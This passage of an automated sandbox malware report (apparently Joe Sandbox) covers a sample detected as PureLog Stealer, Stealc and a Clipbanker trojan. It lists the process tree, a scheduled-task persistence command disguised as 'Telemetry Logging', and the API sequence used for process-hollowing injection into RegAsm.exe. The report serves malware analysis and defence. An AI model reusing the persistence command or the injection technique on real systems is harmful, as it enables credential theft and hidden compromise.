6b db a1 02 5f 89 fa 11 9d ac 8e fd 24 37 58 76 c0 Data Ascii: V,!G@K8)\#o,gQG;~~:U?C`Us[)tPGh&I3u#4[4'4o}./h Y?T:Ka#_'0.N$Xg{qU8hfA{TMzc@fa=@'jB%&"NjlJ<A!{,.gnUHm?k_$7Xv
2024-08-30 16:13:09 UTC	8000	IN	Data Raw: 42 27 d1 5c c9 a6 c1 f5 01 99 c8 b2 31 51 72 5b 7e 0d 91 14 d7 d0 2c d1 95 50 40 ee ff 8e bf 89 bd eb 6b 0e 77 12 67 53 07 57 c2 03 1b 55 56 87 e3 65 b6 3f 62 af 19 b2 78 83 f4 c1 ab 3d 03 43 ba 87 6c 87 e9 55 12 a9 92 40 67 89 0b 1f 98 00 d8 13 fa bc e0 78 06 d2 7d 38 2b d5 13 8e 27 03 99 69 d4 81 23 08 9c 81 c6 03 c0 e9 ac f0 14 9f 8e 0a 10 91 00 e8 3e 55 f9 40 09 48 aa 1f d6 a3 33 f7 e5 88 26 ad b5 24 38 e0 17 5e fe ed 11 1b a0 c3 88 0b db 2d 50 ae 77 ae 1a d8 b0 94 36 58 a9 b4 c8 69 e9 3b 30 b7 68 21 42 52 fe b5 09 f8 2c 7f b4 cf 70 69 1b 9c 1b 18 2d be 70 75 6a 9e de 96 c5 bd a3 5c c7 f9 ea f8 ac 98 76 48 a6 c4 f8 74 7e de 28 1d d4 ad 2a 8c d1 fa 78 e4 01 cc e8 8e 91 3d eb 9f e4 07 84 2d 85 a1 2c 10 3c 9b 45 5e f8 be 06 f5 48 f9 35 8a 8b 40 a4 c6 ba Data Ascii: B'\1Qr[~,P@kwgSWUVe?bx=ClU@gx}8+'i#>U@H3&$8^-Pw6Xi;0h!BR,pi-puj\vHt~(*x=-,<E^H5@
2024-08-30 16:13:09 UTC	8000	IN	Data Raw: f1 71 5d c0 fc 25 c8 c1 4e a5 53 db 8a 90 46 f4 69 0c f3 40 6f 97 1d 41 2e c5 5a f9 1a 5b 23 39 70 25 c9 5e e9 32 3a 47 d8 6c 5a 7f df 1e d5 5c e1 d7 f1 be 1c 6c 82 81 90 e0 80 ae 3f 10 21 9a 04 d9 b1 df 0a 29 57 fe a2 48 db 1e 07 43 70 af a5 c8 76 22 94 82 ed 35 9a 41 34 69 87 f2 fe f5 7e a3 a8 be 33 b6 c8 0a 5b 9b d3 f5 d2 9c 3c 37 df de 99 99 14 4a 0c 0d d3 28 59 6f 77 e9 68 97 cd ee d1 e9 fc 27 7f 6a 16 0b db 27 d3 ba d9 4f 4b be 2c 8a fb 9b 06 83 02 8c 97 7d 96 97 16 13 19 48 b1 f8 5b 31 5f a5 88 db 17 f1 6d 3b ef 55 07 35 94 c0 d0 aa 6d 83 b7 93 da 75 ee a0 48 f5 fd bc 9f 7f 99 e6 b4 64 78 dd 6d 9f d8 c9 4e 6e c7 2d e8 f5 db 03 77 f7 b3 3c e0 cf dc 52 a3 94 b1 bb bf d2 89 2e d1 e2 6d d5 a8 d2 58 ed c1 d8 eb 2c 6c 10 3a 7e 9b bc ee 02 1c d0 a5 1c df Data Ascii: q]%NSFi@oA.Z[#9p%^2:GlZ\l?!)WHCpv"5A4i~3[<7J(Yowh'j'OK,}H[1_m;U5muHdxmNn-w<R.mX,l:~

Target ID:	0
Start time:	12:12:56
Start date:	30/08/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xa20000
File size:	274'984 bytes
MD5 hash:	A2D6BC4C76921E184D0A81E79C40EDE1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000000.1662962002.0000000000A22000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	12:12:56
Start date:	30/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	12:12:56
Start date:	30/08/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x9a0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000002.00000002.2378894358.0000000000EDA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	12:14:06
Start date:	30/08/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\ProgramData\HJJDGHCBGD.exe"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	12:14:06
Start date:	30/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	12:14:06
Start date:	30/08/2024
Path:	C:\ProgramData\HJJDGHCBGD.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\HJJDGHCBGD.exe"
Imagebase:	0x400000
File size:	4'563'640 bytes
MD5 hash:	AF6E384DFABDAD52D43CF8429AD8779C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 00000008.00000002.2379318946.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 00000008.00000002.2379318946.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 74%, ReversingLabs
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	12:14:07
Start date:	30/08/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	/C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"
Imagebase:	0xa80000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	12:14:07
Start date:	30/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	12:14:07
Start date:	30/08/2024
Path:	C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe
Imagebase:	0x400000
File size:	4'563'640 bytes
MD5 hash:	AF6E384DFABDAD52D43CF8429AD8779C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 0000000B.00000002.2910452418.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 0000000B.00000002.2910452418.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 74%, ReversingLabs
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	12:14:09
Start date:	30/08/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	/C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"
Imagebase:	0xa80000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	12:14:09
Start date:	30/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	30.5%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	45.8%
Total number of Nodes:	24
Total number of Limit Nodes:	1

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 02D57F91 Relevance: 42.3, APIs: 10, Strings: 14, Instructions: 282
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe,00000000,00000000,00000000,00000000,00000004,00000000,00000000,02D57F03,02D57EF3), ref: 02D58100
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 02D58113
Wow64GetThreadContext.KERNEL32(00000374,00000000), ref: 02D58131
ReadProcessMemory.KERNELBASE(00000378,?,02D57F47,00000004,00000000), ref: 02D58155
VirtualAllocEx.KERNELBASE(00000378,?,?,00003000,00000040), ref: 02D58180
WriteProcessMemory.KERNELBASE(00000378,00000000,?,?,00000000,?), ref: 02D581D8
WriteProcessMemory.KERNELBASE(00000378,00400000,?,?,00000000,?,00000028), ref: 02D58223
WriteProcessMemory.KERNELBASE(00000378,?,?,00000004,00000000), ref: 02D58261
Wow64SetThreadContext.KERNEL32(00000374,02C20000), ref: 02D5829D
ResumeThread.KERNELBASE(00000374), ref: 02D582AC

Strings

VirtualAllocEx, xrefs: 02D58091
GetThreadContext, xrefs: 02D5806B
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe, xrefs: 02D580FF
Load, xrefs: 02D57FCF
ress, xrefs: 02D5801B
TerminateProcess, xrefs: 02D5818F
ReadProcessMemory, xrefs: 02D5807E
SetThreadContext, xrefs: 02D580B7
VirtualAlloc, xrefs: 02D58058
GetP, xrefs: 02D58013
WriteProcessMemory, xrefs: 02D580A4
ResumeThread, xrefs: 02D580CD
aryA, xrefs: 02D57FD7
CreateProcessA, xrefs: 02D58045

Memory Dump Source

Source File: 00000000.00000002.1666540092.0000000002D57000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D57000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d57000_file.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResume
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe$CreateProcessA$GetP$GetThreadContext$Load$ReadProcessMemory$ResumeThread$SetThreadContext$TerminateProcess$VirtualAlloc$VirtualAllocEx$WriteProcessMemory$aryA$ress
API String ID: 2687962208-1257834847
Opcode ID: 6ed679946abb4a161c9f75f6101290084365813039212a6bd0c7882d8dd446c2
Instruction ID: d6e1055927b91d51842010c0bd5ef250fda3ba06c1de38a1a286c6fd0a3e1e22
Opcode Fuzzy Hash: 6ed679946abb4a161c9f75f6101290084365813039212a6bd0c7882d8dd446c2
Instruction Fuzzy Hash: B9B1D47664028AAFDB60CF68CC80BDA77A5FF88714F158524EA08EB341D774FA41CB94

Function 02B80CD8 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 344
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtectEx.KERNELBASE(?,03D53594,?,?,?), ref: 02B8115C

Strings

#l>@, xrefs: 02B80F49
<1i;, xrefs: 02B80E5C

Memory Dump Source

Source File: 00000000.00000002.1666399200.0000000002B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_file.jbxd

Similarity

API ID: ProtectVirtual
String ID: #l>@$<1i;
API String ID: 544645111-2199172079
Opcode ID: 5cb6694dea8bc7d2d649faca6dff8d819f5ba662f340c9e4e5b5469ed09598fd
Instruction ID: 974c5a76232dec14236145d9be1b07a04f42ebb3037e9dd3bd5fefcef5b1139d
Opcode Fuzzy Hash: 5cb6694dea8bc7d2d649faca6dff8d819f5ba662f340c9e4e5b5469ed09598fd
Instruction Fuzzy Hash: FED19070D156988FCB11EFA9C880BADFBB2FF49304F248599E45DAB216C7349986CF50

Function 02B80517 Relevance: 1.6, APIs: 1, Instructions: 86
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtectEx.KERNELBASE(?,03D53594,?,?,?), ref: 02B8115C

Memory Dump Source

Source File: 00000000.00000002.1666399200.0000000002B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_file.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 839eb3467f98353efc13708c57bd753905ebf158ea61270043c1b21d85f4d8fe
Instruction ID: e893c0e09fe67192b31ad7eeeea3c42d3873842282ef95f212503e652cc37519
Opcode Fuzzy Hash: 839eb3467f98353efc13708c57bd753905ebf158ea61270043c1b21d85f4d8fe
Instruction Fuzzy Hash: 93318E718092989FCB01EFADC8946CEFFB0FF0A314F14809AD488AB212C3749549CBE5

Function 02B80554 Relevance: 1.6, APIs: 1, Instructions: 56
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtectEx.KERNELBASE(?,03D53594,?,?,?), ref: 02B8115C

Memory Dump Source

Source File: 00000000.00000002.1666399200.0000000002B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_file.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: a481b5fbf8bd05f4946de54fab9f6ee2d6f6c93e1d4891797d8f2bcc34ee02b5
Instruction ID: b6fc8e7965c40d8d249ac4baa1f3c9aca92a110fe5bf76d2706f1556c8ffe36b
Opcode Fuzzy Hash: a481b5fbf8bd05f4946de54fab9f6ee2d6f6c93e1d4891797d8f2bcc34ee02b5
Instruction Fuzzy Hash: 7821EEB1D01259EFCB10DF9AC884ADEFFB4FB08320F10816AE918A7210C374A954CFA5

Analysis Process: RegAsm.exePID: 7488, Parent PID: 7428COMMON

Execution Graph

Execution Coverage:	4.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.4%
Total number of Nodes:	2000
Total number of Limit Nodes:	40

Executed Functions

Function 004195E0 Relevance: 236.9, APIs: 112, Strings: 23, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,00EE28C0), ref: 004195FD
GetProcAddress.KERNEL32(74DD0000,00EE26C0), ref: 00419615
GetProcAddress.KERNEL32(74DD0000,00EEA678), ref: 0041962E
GetProcAddress.KERNEL32(74DD0000,00EEA5D0), ref: 00419646
GetProcAddress.KERNEL32(74DD0000,00EEA738), ref: 0041965E
GetProcAddress.KERNEL32(74DD0000,00EEA750), ref: 00419677
GetProcAddress.KERNEL32(74DD0000,00EE3D78), ref: 0041968F
GetProcAddress.KERNEL32(74DD0000,00EEA600), ref: 004196A7
GetProcAddress.KERNEL32(74DD0000,00EEA618), ref: 004196C0
GetProcAddress.KERNEL32(74DD0000,00EEA6A8), ref: 004196D8
GetProcAddress.KERNEL32(74DD0000,00EEA840), ref: 004196F0
GetProcAddress.KERNEL32(74DD0000,00EE2700), ref: 00419709
GetProcAddress.KERNEL32(74DD0000,00EE2640), ref: 00419721
GetProcAddress.KERNEL32(74DD0000,00EE2900), ref: 00419739
GetProcAddress.KERNEL32(74DD0000,00EE25A0), ref: 00419752
GetProcAddress.KERNEL32(74DD0000,00EEA630), ref: 0041976A
GetProcAddress.KERNEL32(74DD0000,00EEA660), ref: 00419782
GetProcAddress.KERNEL32(74DD0000,00EE4278), ref: 0041979B
GetProcAddress.KERNEL32(74DD0000,00EE27C0), ref: 004197B3
GetProcAddress.KERNEL32(74DD0000,00EEA708), ref: 004197CB
GetProcAddress.KERNEL32(74DD0000,00EEA690), ref: 004197E4
GetProcAddress.KERNEL32(74DD0000,00EEA6D8), ref: 004197FC
GetProcAddress.KERNEL32(74DD0000,00EEA768), ref: 00419814
GetProcAddress.KERNEL32(74DD0000,00EE2860), ref: 0041982D
GetProcAddress.KERNEL32(74DD0000,00EEA780), ref: 00419845
GetProcAddress.KERNEL32(74DD0000,00EEA810), ref: 0041985D
GetProcAddress.KERNEL32(74DD0000,00EEA648), ref: 00419876
GetProcAddress.KERNEL32(74DD0000,00EEA720), ref: 0041988E
GetProcAddress.KERNEL32(74DD0000,00EEA828), ref: 004198A6
GetProcAddress.KERNEL32(74DD0000,00EEA858), ref: 004198BF
GetProcAddress.KERNEL32(74DD0000,00EEA6C0), ref: 004198D7
GetProcAddress.KERNEL32(74DD0000,00EEA798), ref: 004198EF
GetProcAddress.KERNEL32(74DD0000,00EEA7B0), ref: 00419908
GetProcAddress.KERNEL32(74DD0000,00EF0858), ref: 00419920
GetProcAddress.KERNEL32(74DD0000,00EEA7E0), ref: 00419938
GetProcAddress.KERNEL32(74DD0000,00EEA7F8), ref: 00419951
GetProcAddress.KERNEL32(74DD0000,00EE2660), ref: 00419969
GetProcAddress.KERNEL32(74DD0000,00EF0E08), ref: 00419981
GetProcAddress.KERNEL32(74DD0000,00EE2620), ref: 0041999A
GetProcAddress.KERNEL32(74DD0000,00EF0F88), ref: 004199B2
GetProcAddress.KERNEL32(74DD0000,00EF0EC8), ref: 004199CA
GetProcAddress.KERNEL32(74DD0000,00EE2600), ref: 004199E3
GetProcAddress.KERNEL32(74DD0000,00EE27E0), ref: 004199FB
LoadLibraryA.KERNEL32(00EF0FA0,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A0D
LoadLibraryA.KERNEL32(00EF0EF8,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A1E
LoadLibraryA.KERNEL32(00EF1048,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A30
LoadLibraryA.KERNEL32(00EF0DF0,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A42
LoadLibraryA.KERNEL32(00EF0DA8,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A53
LoadLibraryA.KERNEL32(00EF0EE0,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A65
LoadLibraryA.KERNEL32(00EF0FB8,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A77
LoadLibraryA.KERNEL32(00EF0E20,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A88
GetProcAddress.KERNEL32(75290000,00EE2720), ref: 00419AAA
GetProcAddress.KERNEL32(75290000,00EF1000), ref: 00419AC2
GetProcAddress.KERNEL32(75290000,00EEA9B8), ref: 00419ADA
GetProcAddress.KERNEL32(75290000,00EF0FE8), ref: 00419AF3
GetProcAddress.KERNEL32(75290000,00EE2960), ref: 00419B0B
GetProcAddress.KERNEL32(73B40000,00EE42F0), ref: 00419B30
GetProcAddress.KERNEL32(73B40000,00EE26E0), ref: 00419B49
GetProcAddress.KERNEL32(73B40000,00EE42A0), ref: 00419B61
GetProcAddress.KERNEL32(73B40000,00EF0D60), ref: 00419B79
GetProcAddress.KERNEL32(73B40000,00EF0D90), ref: 00419B92
GetProcAddress.KERNEL32(73B40000,00EE28E0), ref: 00419BAA
GetProcAddress.KERNEL32(73B40000,00EE2740), ref: 00419BC2
GetProcAddress.KERNEL32(73B40000,00EF0DC0), ref: 00419BDB
GetProcAddress.KERNEL32(752C0000,00EE2880), ref: 00419BFC
GetProcAddress.KERNEL32(752C0000,00EE2940), ref: 00419C14
GetProcAddress.KERNEL32(752C0000,00EF0D78), ref: 00419C2D
GetProcAddress.KERNEL32(752C0000,00EF0E38), ref: 00419C45
GetProcAddress.KERNEL32(752C0000,00EE2680), ref: 00419C5D
GetProcAddress.KERNEL32(74EC0000,00EE4318), ref: 00419C83
GetProcAddress.KERNEL32(74EC0000,00EE44A8), ref: 00419C9B
GetProcAddress.KERNEL32(74EC0000,00EF1030), ref: 00419CB3
GetProcAddress.KERNEL32(74EC0000,00EE2820), ref: 00419CCC
GetProcAddress.KERNEL32(74EC0000,00EE26A0), ref: 00419CE4
GetProcAddress.KERNEL32(74EC0000,00EE4340), ref: 00419CFC
GetProcAddress.KERNEL32(75BD0000,00EF0DD8), ref: 00419D22
GetProcAddress.KERNEL32(75BD0000,00EE28A0), ref: 00419D3A
GetProcAddress.KERNEL32(75BD0000,00EEA9F8), ref: 00419D52
GetProcAddress.KERNEL32(75BD0000,00EF0F40), ref: 00419D6B
GetProcAddress.KERNEL32(75BD0000,00EF0E50), ref: 00419D83
GetProcAddress.KERNEL32(75BD0000,00EE2760), ref: 00419D9B
GetProcAddress.KERNEL32(75BD0000,00EE2920), ref: 00419DB4
GetProcAddress.KERNEL32(75BD0000,00EF0FD0), ref: 00419DCC
GetProcAddress.KERNEL32(75BD0000,00EF0F28), ref: 00419DE4
GetProcAddress.KERNEL32(75A70000,00EE2800), ref: 00419E06
GetProcAddress.KERNEL32(75A70000,00EF1018), ref: 00419E1E
GetProcAddress.KERNEL32(75A70000,00EF0F70), ref: 00419E36
GetProcAddress.KERNEL32(75A70000,00EF0E68), ref: 00419E4F
GetProcAddress.KERNEL32(75A70000,00EF0E80), ref: 00419E67
GetProcAddress.KERNEL32(75450000,00EE2780), ref: 00419E88
GetProcAddress.KERNEL32(75450000,00EE27A0), ref: 00419EA1
GetProcAddress.KERNEL32(75DA0000,00EE2840), ref: 00419EC2
GetProcAddress.KERNEL32(75DA0000,00EF0E98), ref: 00419EDA
GetProcAddress.KERNEL32(6F2D0000,00EE2980), ref: 00419F00
GetProcAddress.KERNEL32(6F2D0000,00EE25C0), ref: 00419F18
GetProcAddress.KERNEL32(6F2D0000,00EE25E0), ref: 00419F30
GetProcAddress.KERNEL32(6F2D0000,00EF0F10), ref: 00419F49
GetProcAddress.KERNEL32(6F2D0000,00EF1680), ref: 00419F61
GetProcAddress.KERNEL32(6F2D0000,00EF1580), ref: 00419F79
GetProcAddress.KERNEL32(6F2D0000,00EF1500), ref: 00419F92
GetProcAddress.KERNEL32(6F2D0000,00EF1620), ref: 00419FAA
GetProcAddress.KERNEL32(6F2D0000,InternetSetOptionA), ref: 00419FC1
GetProcAddress.KERNEL32(6F2D0000,HttpQueryInfoA), ref: 00419FD7
GetProcAddress.KERNEL32(75AF0000,00EF0F58), ref: 00419FF9
GetProcAddress.KERNEL32(75AF0000,00EEA988), ref: 0041A011
GetProcAddress.KERNEL32(75AF0000,00EF0EB0), ref: 0041A029
GetProcAddress.KERNEL32(75AF0000,00EF10A8), ref: 0041A042
GetProcAddress.KERNEL32(75D90000,00EF14C0), ref: 0041A063
GetProcAddress.KERNEL32(6CC60000,00EF10C0), ref: 0041A084
GetProcAddress.KERNEL32(6CC60000,00EF1520), ref: 0041A09D
GetProcAddress.KERNEL32(6CC60000,00EF1078), ref: 0041A0B5
GetProcAddress.KERNEL32(6CC60000,00EF1108), ref: 0041A0CD

Strings

`), xrefs: 00419AFE
', xrefs: 004199EE
HttpQueryInfoA, xrefs: 00419FCC
&, xrefs: 0041998C
x=, xrefs: 00419682
@&, xrefs: 00419714
`, xrefs: 00419B6C
@), xrefs: 00419C07
`&, xrefs: 0041995C
%, xrefs: 00419F23
', xrefs: 00419A9C
InternetSetOptionA, xrefs: 00419FB5
`(, xrefs: 0041981F
x, xrefs: 00419C1F
&, xrefs: 00419B3B
xB, xrefs: 0041978D
@C, xrefs: 00419CEF
), xrefs: 00419DA6
(, xrefs: 00419CBE
`', xrefs: 00419D8E
@(, xrefs: 00419EB5
@', xrefs: 00419BB5
(, xrefs: 00419B9D

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: &$ '$ ($ )$@&$@'$@($@)$@C$HttpQueryInfoA$InternetSetOptionA$`$`&$`'$`($`)$x$x=$xB$%$&$'$(
API String ID: 2238633743-930103311
Opcode ID: 42a1c126b23ada8373e6c48d5b9de957363c63bf0e0344acec6b940ad07a1c70
Instruction ID: de404ee9f47513f53d28e8016dc56f999ad60f1515a6c9981bc8237813ea7153
Opcode Fuzzy Hash: 42a1c126b23ada8373e6c48d5b9de957363c63bf0e0344acec6b940ad07a1c70
Instruction Fuzzy Hash: 946243B5500E00AFC774DFA8EE88D1E3BABBB8C761750A51AE609C3674D7349443DBA4

Function 00404610 Relevance: 112.1, APIs: 34, Strings: 30, Instructions: 114
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 0040461C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 00404627
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 00404632
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 0040463D
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 00404648
GetProcessHeap.KERNEL32(00000000,?,?,0000000F,?,0041649B), ref: 00404657
RtlAllocateHeap.NTDLL(00000000,?,0000000F,?,0041649B), ref: 0040465E
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 0040466C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 00404677
